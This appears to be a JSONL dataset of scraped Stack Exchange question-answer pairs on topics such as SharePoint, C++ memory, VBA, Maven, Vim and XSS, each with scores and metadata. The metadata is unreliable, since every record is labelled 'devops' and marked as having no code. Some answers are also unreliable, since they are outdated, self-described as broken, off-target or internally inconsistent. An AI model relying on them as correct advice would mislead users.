{"id": "hf_bbe72728e96e", "question": "<p>Is it possible to use the Asp.Net MVC framework within SharePoint sites?</p>\n", "question_body": "", "answer": "I don't believe so, although you can upload standard ASPX files into SharePoint and have them operate I'm pretty sure that the URL rewritting is where it would come unstuck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.195145"}
{"id": "hf_725540f22895", "question": "<p>Say I have the following C++:</p>\n\n<pre><code>char *p = new char[cb];\nSOME_STRUCT *pSS = (SOME_STRUCT *) p;\ndelete pSS;\n</code></pre>\n\n<p>Is this safe according to the C++ standard? Do I need to cast back to a <code>char*</code> and then use <code>delete[]</code>? I know it'll work in most C++ compilers, because it's plain-ordinary-data, with no destructors. Is it guaranteed to be safe?</p>\n", "question_body": "", "answer": "No, it's undefined behaviour - a compiler could plausibly do something different, and as the C++ FAQ entry that\nthudbang\nlinked to says,\n```\noperator delete[]\n```\nmight be overloaded to do something different to\n```\noperator delete\n```\n. You can sometimes get away with it, but it's also good practice to get into the habit of matching delete[] with new[] for the cases where you can't.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.257335"}
{"id": "hf_81693963df82", "question": "<p>I have a workbook with 20 different pivot tables. Is there any easy way to find all the pivot tables and refresh them in VBA?</p>\n", "question_body": "", "answer": "Yes.\n```\n```\nThisWorkbook.RefreshAll\n```\n```\nOr, if your Excel version is old enough,\n```\n```\nDim Sheet as WorkSheet, Pivot as PivotTable\nFor Each Sheet in ThisWorkbook.WorkSheets\n    For Each Pivot in Sheet.PivotTables\n        Pivot.RefreshTable\n        Pivot.Update\n    Next\nNext\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.307553"}
{"id": "hf_d0e37bb8d1cf", "question": "<p>Is there a good way to exclude certain pages from using a HTTP module?</p>\n\n<p>I have an application that uses a custom HTTP module to validate a session. The HTTPModule is set up like this in web config:</p>\n\n<pre><code>&lt;system.web&gt;\n  &lt;!-- ... --&gt;\n  &lt;httpModules&gt;\n    &lt;add name=\"SessionValidationModule\"\n       type=\"SessionValidationModule, SomeNamespace\" /&gt;\n  &lt;/httpModules&gt;\n&lt;/system.web&gt;\n</code></pre>\n\n<p>To exclude the module from the page, I tried doing this (without success):</p>\n\n<pre><code>&lt;location path=\"ToBeExcluded\"&gt;\n  &lt;system.web&gt;\n    &lt;!-- ... --&gt;\n    &lt;httpModules&gt;\n      &lt;remove name=\"SessionValidationModule\" /&gt;\n    &lt;/httpModules&gt;\n  &lt;/system.web&gt;\n&lt;/location&gt;\n</code></pre>\n\n<p>Any thoughts?</p>\n", "question_body": "", "answer": "You could use an HTTPHandler instead of an HTTPModule.  Handlers let you specify a path when you declare them in Web.Config.\n```\n```\n<add verb=\"*\" path=\"/validate/*.aspx\" type=\"Handler,Assembly\"/>\n```\n```\nIf you must use an HTTPModule, you could just check the path of the request and if it's one to be excluded, bypass the validation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.332918"}
{"id": "hf_cbafdd9c5dc9", "question": "<p>Originally I am looking for a solution in Actionscript. The point of this question is the algorithm, which detects the exact Minute, when a clock has to switch the Daylight Saving Time. </p>\n\n<p>So for example between the 25th and the 31th of October we have to check, if the actual date is a sunday, it is before or after 2 o'clock...</p>\n", "question_body": "", "answer": "There is no real algorithm for dealing with Daylight Saving Time. Basically every country can decide for themselves when -and if- DST starts and ends. The only thing we can do as developers is using some sort of table to look it up. Most computer languages integrate such a table in the language.\nIn Java you could use the\n```\ninDaylightTime\n```\nmethod of the\nTimeZone\nclass. If you want to know the exact date and time when DST starts or ends in a certain year, I would recommend to use\nJoda Time\n. I can't see a clean way of finding this out using just the standard libraries.\nThe following program is an example: (Note that it could give unexpected results if a certain time zone does not have DST for a certain year)\n```\n```\nimport org.joda.time.DateTime;\nimport org.joda.time.DateTimeZone;\n\npublic class App {\n    public static void main(String[] args) {\n        DateTimeZone dtz = DateTimeZone.forID(\"Europe/Amsterdam\");\n\n        System.out.println(startDST(dtz, 2008));\n        System.out.println(endDST(dtz, 2008));\n    }\n\n    public static DateTime startDST(DateTimeZone zone, int year) {\n        return new DateTime(zone.nextTransition(new DateTime(year, 1, 1, 0, 0, 0, 0, zone).getMillis()));\n    }\n\n    public static DateTime endDST(DateTimeZone zone, int year) {\n        return new DateTime(zone.previousTransition(new DateTime(year + 1, 1, 1, 0, 0, 0, 0, zone).getMillis()));\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.358302"}
{"id": "hf_b56e9657fc13", "question": "<p>We all know the various ways of testing OO systems. However, it looks like I'll be going to do a project where I'll be dealing with PLC ladder logic (don't ask :/), and I was wondering if there's a good way of testing the validity of the system.</p>\n\n<p>The only way I see so far is simply constructing a huge table with all known states of the system and which output states that generates. This would do for simple 'if input A is on, turn output B on' cases. I don't think this will work for more complicated constructions though.</p>\n", "question_body": "", "answer": "The verification of \"logical\" systems in the IC design arena is known as \"Design Verification\", which is the process of ensuring that the system you design in hardware (RTL) implements the desired functionality.\nLadder logic can be transformed to one of the modern HDL's like Verilog.. \ntransform each ladder\n```\n```\n|---|R15|---+---|/R16|---------(R18)--------|\n|           |\n|---|R12|---+\n```\n```\nto an expression like\n```\n```\nalways @(*) R18 = !R16 && ( R15 | R12);\n```\n```\nor you could use an assign statement\n```\n```\nassign R18 = R16 && (R15 | R12);\n```\n```\na latching relay\n```\n```\nassign R18 = (set condition) || R18 && !(break condition);\n```\n```\nThen use a free verilog simulator like\nIcarus\nto develop a testbench and test your system. \nMake sure you're testcases give good CODE coverage of your logic!  And If your ladder editing software gives you decent naming capabilities, use them, rather than Rnn.\n(Note: in Ladder Logic for PLC convention, Rnn is for internal relays, while, Xnn is an input and Ynn is an output, as can be quickly gleaned from one of the online tutorials.\nVerilog will be an easier language to develop your tests and testbenches in!\nIt may be helpful to program in some unit delays.\nSorry, I have never looked for ladder logic to/from verilog translators.. \nbut ladder logic in my day was only just being put into a computer for programming PLC's - most of the relay systems I used were REAL Relays, wired into the cabinets!!\nGood luck. \njbd\nThere are a couple of ladder logic editors (with simultors) available for free.. \nhere is one that runs on windows supposedly:\nhttp://cq.cx/ladder.pl", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.396254"}
{"id": "hf_33b031059e43", "question": "<p>How do you return 1 value per row of the max of several columns:</p>\n\n<p><strong>TableName</strong></p>\n\n<pre><code>[Number, Date1, Date2, Date3, Cost]\n</code></pre>\n\n<p>I need to return something like this:</p>\n\n<pre><code>[Number, Most_Recent_Date, Cost]\n</code></pre>\n\n<p>Query?</p>\n", "question_body": "", "answer": "This is an old answer and broken in many way.\nSee\nhttps://stackoverflow.com/a/6871572/194653\nwhich has way more upvotes and works with sql server 2008+ and handles nulls, etc.\nOriginal but problematic answer\n:\nWell, you can use the CASE statement:\n```\n```\nSELECT\n    CASE\n        WHEN Date1 >= Date2 AND Date1 >= Date3 THEN Date1\n        WHEN Date2 >= Date1 AND Date2 >= Date3 THEN Date2\n        WHEN Date3 >= Date1 AND Date3 >= Date2 THEN Date3\n        ELSE                                        Date1\n    END AS MostRecentDate\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.434903"}
{"id": "hf_ddee20053279", "question": "<p>I'm aware I can add maven repositories for fetching dependencies in ~/.m2/settings.xml. But is it possible to add a repository using command line, something like:</p>\n\n<pre><code>mvn install -Dmaven.repository=http://example.com/maven2\n</code></pre>\n\n<p>The reason I want to do this is because I'm using a continuous integration tool where I have full control over the command line options it uses to call maven, but managing the settings.xml for the user that runs the integration tool is a bit of a hassle.</p>\n", "question_body": "", "answer": "I am not sure if you can do it using the command line. You can on the other hand add repositories in the\npom.xml\nas in the following example. Using this approach you do not need to change the\n~/.m2/settings.xml\nfile.\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n    <project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n        xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n        xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    ...\n    <repositories>\n            <repository>\n                <id>MavenCentral</id>\n                <name>Maven repository</name>\n                <url>http://repo1.maven.org/maven2</url>\n                <releases>\n                    <enabled>true</enabled>\n                </releases>\n                <snapshots>\n                    <enabled>false</enabled>\n                </snapshots>\n            </repository>\n...\n            <repository>\n                <id>Codehaus Snapshots</id>\n                <url>http://snapshots.repository.codehaus.org/</url>\n                <snapshots>\n                    <enabled>true</enabled>\n                </snapshots>\n                <releases>\n                    <enabled>false</enabled>\n                </releases>\n            </repository>\n        </repositories>\n\n    ...\n\n        <pluginRepositories>\n            <pluginRepository>\n                <id>apache.snapshots</id>\n                <name>Apache Snapshot Repository</name>\n                <url>\n                    http://people.apache.org/repo/m2-snapshot-repository\n                </url>\n                <releases>\n                    <enabled>false</enabled>\n                </releases>\n            </pluginRepository>\n            <pluginRepository>\n                <id>Codehaus Snapshots</id>\n                <url>http://snapshots.repository.codehaus.org/</url>\n                <snapshots>\n                    <enabled>true</enabled>\n                </snapshots>\n                <releases>\n                    <enabled>false</enabled>\n                </releases>\n            </pluginRepository>\n        </pluginRepositories>\n\n    ...\n\n    </project>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.460896"}
{"id": "hf_496a1d233b7e", "question": "<p>Does anyone know of a good code obsfucator for Perl? I'm being ask to look into the option of obsfucating code before releasing it to a client. I know obsfucated code can still be reverse engineered, but that's not our main concern. </p>\n\n<p>Some clients are making small changes to the source code that we give them and it's giving us nightmares when something goes wrong and we have to fix it, or when we release a patch that doesn't work with what they've changed. So the intention is just to make it so that it's difficult for them to make their own changes to the code(they're not supposed to be doing that anyway).</p>\n", "question_body": "", "answer": "Please don't do that. If you don't want people to alter your Perl code then put it under an appropriate licence and enforce that licence. If people change your code when you licence says that they shouldn't do that, then it's not your problem when your updates not longer work with their installation.\nSee\nperlfaq3's answer to \"How Can I hide the source for my Perl programs?\nfor more details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.510344"}
{"id": "hf_6c163939677d", "question": "<p>Maven spews out far too many lines of output to my taste (I like the Unix way: no news is good news).</p>\n<p>I want to get rid of all <code>[INFO]</code> lines, but I couldn't find any mention of an argument or config settings that controls the verbosity of Maven.</p>\n<p>Is there no LOG4J-like way to set the log level?</p>\n", "question_body": "", "answer": "You can try the\n```\n-q\n```\nswitch\n.\n```\n-q\n```\n,\n```\n--quiet\n```\nQuiet output - only show errors", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.545960"}
{"id": "hf_66b1370784f9", "question": "<p>I can make Firefox not display the ugly dotted focus outlines on <b>links</b> with this:</p>\n\n<pre class=\"lang-css prettyprint-override\"><code>a:focus { \n    outline: none; \n}\n</code></pre>\n\n<p>But how can I do this for <code>&lt;button&gt;</code> tags as well? When I do this:</p>\n\n<pre class=\"lang-css prettyprint-override\"><code>button:focus { \n    outline: none; \n}\n</code></pre>\n\n<p>the buttons still have the dotted focus outline when I click on them.</p>\n\n<p>(and yes, I know this is a usability issue, but I would like to provide my own focus hints which are appropriate to the design instead of ugly grey dots)</p>\n", "question_body": "", "answer": "There's no way to remove these dotted focus in Firefox using CSS.\nIf you have access to the computers where your webapplication works, go to about:config in Firefox and set\n```\nbrowser.display.focus_ring_width\n```\nto 0. Then Firefox won't show any dotted borders at all.\nThe following bug explains the topic:\nhttps://bugzilla.mozilla.org/show_bug.cgi?id=74225", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.570108"}
{"id": "hf_a2c00b603de7", "question": "<p>I want to compress some files (into the <a href=\"http://en.wikipedia.org/wiki/ZIP_%28file_format%29\" rel=\"nofollow noreferrer\">ZIP</a> format) and encrypt them if possible using C#. Is there some way to do this?</p>\n\n<p>Can encryption be done as a part of the compression itself?</p>\n", "question_body": "", "answer": "For compression, look at the\n```\nSystem.IO.Compression\n```\nnamespace and for encryption look at\n```\nSystem.Security.Cryptography\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.593816"}
{"id": "hf_0ff9d168be47", "question": "<p>What is the difference, what is the official terms, are any terms obsolete in ASP.NET 3.5?</p>\n", "question_body": "", "answer": "UserControl\n:  A custom control, ending in .ascx, that is composed of other web controls.  Its almost like a small version of an aspx webpage.  It consists of a UI (the ascx) and codebehind.  Cannot be reused in other projects by referencing a DLL.\nWebControl\n:  A control hosted on a webpage or in a UserControl.  It consists of one or more classes, working in tandem, and is hosted on an aspx page or in a UserControl.  WebControls don't have a UI \"page\" and must render their content directly.  They can be reused in other applications by referencing their DLLs.\nRenderedControl\n:  Does not exist.  May be synonymous to WebControl.  Might indicate the control is written directly to the HttpResponse rather than rendered to an aspx page.\nCompositeControl\n:  Inbetween UserControls and WebControls.  They code like UserControls, as they are composed of other controls.  There is not any graphical UI for control compositing, and support for UI editing of CompositeControls must be coded by the control designer.  Compositing is done in the codebehind.  CompositeControls can be reused in other projects like WebControls.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.619135"}
{"id": "hf_5c9077586c99", "question": "<p>Can you suggest a tool for testing accessibility and section 508/ADA compliance of a Website with MS Share Point and .Net 2.0 as the underlying platform?</p>\n", "question_body": "", "answer": "In my experience, testing Sharepoint for accessibility is not worth it. Even if you've used the Accessibility Toolkit for Sharepoint (AKS) with Sharepoint 2007, the end result is far from accessible.\nThe trouble is that accessibility was not, and still is not a big consideration for MS when they made Sharepoint. Everything depends on table layout, and screenreaders are given a nightmare to deal with.\nThere are a few online tools - some will help validate your output, others pretend to test you for accessibility (\nTAW\n).\nThe problem is that many of the guidelines under WCAG are just too arbitrary, and will never be testable by an automated tool. This may change with WCAG 2.\nAnyway, wish you the best trying to make Sharepoint accessible.\nEDIT:\nAs a side not, I can highly recommend the following tools/resources for anyone interested in accessible development:\nChris Pederick's\nWeb Accessibility\nToolbar\nNDA's Web Accessibility IT\nGuidelines", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.645270"}
{"id": "hf_86003e5b6c90", "question": "<p>Under what circumstances might you want to use multiple indirection (that is, a chain of pointers as in <code>Foo **</code>) in C++?</p>\n", "question_body": "", "answer": "IMO most common usage is to pass reference to pointer variable\n```\n```\nvoid test(int ** var)\n{\n ...\n}\n\nint *foo = ...\ntest(&foo);\n```\n```\nYou can create multidimensional jagged array using double pointers:\n```\n```\nint ** array = new *int[2];\narray[0] = new int[2];\narray[1] = new int[3];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.675486"}
{"id": "hf_f91b0c3d9474", "question": "<p>What's the best value for money c# code protection? Some just use obfuscation, others add win32 wrapping, some cost a fortune. So far I've come up with <a href=\"http://www.eziriz.com/\" rel=\"nofollow noreferrer\">http://www.eziriz.com/</a> who's Intellilock looks promising. Any other suggestions? Any reasons why this is not a good idea?</p>\n\n<p>I know its impossible to completely protect but I'd prefer the ability to protect my code so that it would require a lot of effort in order to recover it. I do hope to sell my products eventually, while also releasing some for free.</p>\n", "question_body": "", "answer": "First of all, no matter what kind of protection you'll employ,a truly dedicated cracker will, eventually, get through all of the protective barriers. It might simply not worth it employing high-level code obfuscation; rather focus that time into making a better application.\nOne way to look at this problem, is that people pirating your software are not your target audience; focus on paying customers instead.\nWith that said, Visual Studio includes the community edition of\nDotfuscator\n, which is fairly decent (for it's value); I would look into that, if needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.729210"}
{"id": "hf_f27b91c3bec1", "question": "<p>Using the Python Documentation I found the <a href=\"http://docs.python.org/lib/module-HTMLParser.html\" rel=\"noreferrer\">HTML parser</a> but I have no idea which library to import to use it, how do I find this out (bearing in mind it doesn't say on the page).</p>\n", "question_body": "", "answer": "Try:\n```\n```\nimport HTMLParser\n```\n```\nIn Python 3.0, the HTMLParser module has been renamed to html.parser\nyou can check about this\nhere\nPython 3.0\n```\n```\nimport html.parser\n```\n```\nPython 2.2 and above\n```\n```\nimport HTMLParser\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.767542"}
{"id": "hf_3499ab6f9b56", "question": "<p>How can I find the last row that contains data in a specific column and on a specific sheet?</p>\n", "question_body": "", "answer": "```\n```\nFunction LastRow(rng As Range) As Long\n    Dim iRowN As Long\n    Dim iRowI As Long\n    Dim iColN As Integer\n    Dim iColI As Integer\n    iRowN = 0\n    iColN = rng.Columns.count\n    For iColI = 1 To iColN\n        iRowI = rng.Columns(iColI).Offset(65536 - rng.Row, 0).End(xlUp).Row\n        If iRowI > iRowN Then iRowN = iRowI\n    Next\n    LastRow = iRowN\nEnd Function\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.816952"}
{"id": "hf_09141635738e", "question": "<p>Why can I not see an <strong>option</strong> for copying database objects when I <code>right click &gt; tasks</code> on my database? </p>\n", "question_body": "", "answer": "MS Sql Server Express doesn't come with SSIS which is what you will need to import/export objects out of your database.\nYou can also manually script this process. One way is to use BCP (\nhttp://msdn.microsoft.com/en-us/library/ms162802.aspx\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.896260"}
{"id": "hf_d4c1218825c8", "question": "<p>I'm currently writing a TYPO3 extension which is configured with a list of <code>tt_content</code> UID's.\nThese point to content elements of type \"text\" and i want to render them by my extension.</p>\n\n<p>Because of TYPO3s special way of transforming the text you enter in the rich text editing when it enters the database, and again transforming it when it is rendered to the frontend, i can not just output the database contents of the <code>bodytext</code> field.</p>\n\n<p>I want to render these texts as they would usually get rendered by TYPO3.\nHow do I do that? </p>\n", "question_body": "", "answer": "I had the same problem a couple of months ago. Now I must say that I am no typo3 developer, so I don't know if this is the right solution.\nBut I used something like this:\n```\n$output .= $this->pi_RTEcssText( $contentFromDb );\n```\nin my extension and it works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.921452"}
{"id": "hf_c7cef092a5a8", "question": "<p>I am using a .NET Windows Forms DataGridView and I need to edit a DataBound column (that binds on a boolean DataTable column). For this I specify the cell template like this:</p>\n\n<p>DataGridViewColumn column = new DataGridViewColumn(new DataGridViewCheckBoxCell());</p>\n\n<p>You see that I need a CheckBox cell template.</p>\n\n<p>The problem I face is that this column is constantly readonly/disabled, as if it would be of TextBox type. It doesn't show a checkbox at all.</p>\n\n<p>Any thoughts on how to work with editable checkbox columns for DataGridView?</p>\n\n<p>Update: For windows forms, please.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Create a TemplateField and bound the id to it, something like this:\n```\n```\n<asp:TemplateField HeaderText=\"Whatever\" SortExpression=\"fieldname\" ItemStyle-HorizontalAlign=\"Center\">\n    <ItemTemplate>\n        <asp:CheckBox runat=\"server\" ID=\"rowCheck\" key='<%# Eval(\"id\") %>' />\n    </ItemTemplate>\n</asp:TemplateField>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:30.946919"}
{"id": "hf_881a1fc7adff", "question": "<p>How do I suspend a whole process (like the Process Explorer does when I click Suspend) in C#.</p>\n\n<p>I'm starting the Process with Process.Start, and on a certain event, I want to suspend the process to be able to do some investigation on a \"snapshot\" of it.</p>\n", "question_body": "", "answer": "See this CodeProject article for the win32 basics :\nhttp://www.codeproject.com/KB/threads/pausep.aspx\n.  This sample code makes use of the ToolHelp32 library from the SDK, so I would recommend turning this sample code into an unmanaged C++/CLI library with a simple interface like \"SuspendProcess(uint processID).\nProcess.Start will return you a Process object, from which you can get the process id, and then pass this to your new library based on the above.\nDave", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.013780"}
{"id": "hf_1fc756ba93ba", "question": "<p>Is it possible to have one application binary build for multiple mobile devices (on <a href=\"http://brew.qualcomm.com/brew/\" rel=\"nofollow noreferrer\">BREW</a> platform), rather than making a separate build for each device using build script with conditional compilation.</p>\n\n<p>In particular is is possible to use single BREW application build for multiple screen resolutions?</p>\n\n<p>Note that the goal is to have a single <em>binary</em> build. If it would be just to have a single codebase, than conditional compilation and smart build script would do the trick.</p>\n", "question_body": "", "answer": "Yes, it is possible, we were able to do this at my previous place of work. What's required is tricky though:\nCompile for the lowest common denominator BREW version. Version 1.1 is the base for all current handsets out there.\nYour code must be able to handle multiple resolutions. The methods for detecting screen width and height are accurate for all handsets in my experience.\nAll your resources must load on all devices. This would require making your own custom image loader to work around certain device issues. For sound, I know simple MIDI type 0 works on all but QCP should also work (no experience of it myself).\nUse bitmap fonts. There are too many device issues with fonts to make it worthwhile using the system fonts.\nDesign your code structure as a finite state machine. I cannot emphasise this enough - do this and many, many problems never materialise.\nHave workarounds for every single device issue. This is the hard part! It's possible but this rabbit hole is incredibly deep...\nIn the end, the more complex and advanced the application, the less likely you can go this route. Some device properties simply cannot be detected reliably at runtime (such as platform ID) and so multiple builds are then required.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.051795"}
{"id": "hf_598783c58d1e", "question": "<p>I am using git on a project, that generates lots of data-files (simulation-results). \nI am \"forced\" to version and track all those results in the same repository. (This is a hard requirement and can not be changed)</p>\n\n<p>However I don't need them. We have about 50 MB for the project and 5 GB results in the repository.</p>\n\n<p>Is it feasible for me to create a branch, delete all the results, check this branch out and only work on that branch?</p>\n\n<p>How hard would it be (what would I have to do), to push my local changes back into the fat branch?</p>\n\n<p>Is there a better solution to get rid of those 5 GB for my work?</p>\n", "question_body": "", "answer": "If you were to make a branch and delete the result files from the branch, then merging your branch back into master would also try to delete the results from master. A file delete is a change just like any other.\nPerhaps you could use the git submodule support to manage your code changes as a submodule of the fat repository. In this way, the fat repository would appear to contain everything, but you could work on just the small code bits independently. This may take some fiddling around to work smoothly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.114381"}
{"id": "hf_1abecbe9d941", "question": "<p>I'm trying to replace each <code>,</code> in the current file by a new line:</p>\n\n<pre><code>:%s/,/\\n/g \n</code></pre>\n\n<p>But it inserts what looks like a <code>^@</code> instead of an actual newline. The file is not in DOS mode or anything.</p>\n\n<p>What should I do?</p>\n\n<p>If you are curious, like me, check the question <em><a href=\"https://stackoverflow.com/questions/71417/why-is-r-a-newline-for-vim\">Why is \\r a newline for Vim?</a></em> as well.</p>\n", "question_body": "", "answer": "Use\n```\n\\r\n```\ninstead of\n```\n\\n\n```\n.\nSubstituting by\n```\n\\n\n```\ninserts a null character into the text. To get a newline, use\n```\n\\r\n```\n. When\nsearching\nfor a newline, you’d still use\n```\n\\n\n```\n, however. This asymmetry is due to the fact that\n```\n\\n\n```\nand\n```\n\\r\n```\ndo slightly different things\n:\n```\n\\n\n```\nmatches an end of line (newline), whereas\n```\n\\r\n```\nmatches a carriage return. On the other hand, in substitutions\n```\n\\n\n```\ninserts a null character whereas\n```\n\\r\n```\ninserts a newline (more precisely, it’s treated as the input\nCR\n). Here’s a small, non-interactive example to illustrate this, using the Vim command line feature (in other words, you can copy and paste the following into a terminal to run it).\n```\nxxd\n```\nshows a hexdump of the resulting file.\n```\n```\necho bar > test\n(echo 'Before:'; xxd test) > output.txt\nvim test '+s/b/\\n/' '+s/a/\\r/' +wq\n(echo 'After:'; xxd test) >> output.txt\nmore output.txt\n```\n```\n```\n```\nBefore:\n0000000: 6261 720a                                bar.\nAfter:\n0000000: 000a 720a                                ..r.\n```\n```\nIn other words,\n```\n\\n\n```\nhas inserted the byte 0x00 into the text;\n```\n\\r\n```\nhas inserted the byte 0x0a.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.139029"}
{"id": "hf_c9e636b45c38", "question": "<p>I have PHP configured so that magic quotes are on and register globals are off.</p>\n\n<p>I do my best to always call htmlentities() for anything I am outputing that is derived from user input.</p>\n\n<p>I also occasionally seach my database for common things used in xss attached such as...</p>\n\n<pre><code>&lt;script\n</code></pre>\n\n<p>What else should I be doing and how can I make sure that the things I am trying to do are <strong>always</strong> done.</p>\n", "question_body": "", "answer": "Escaping all user input is enough for most sites. Also make sure that session IDs don't end up in the URL so they can't be stolen from the\n```\nReferer\n```\nlink to another site. Additionally, if you allow your users to submit links, make sure no\n```\njavascript:\n```\nprotocol links are allowed; these would execute a script as soon as the user clicks on the link.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.164963"}
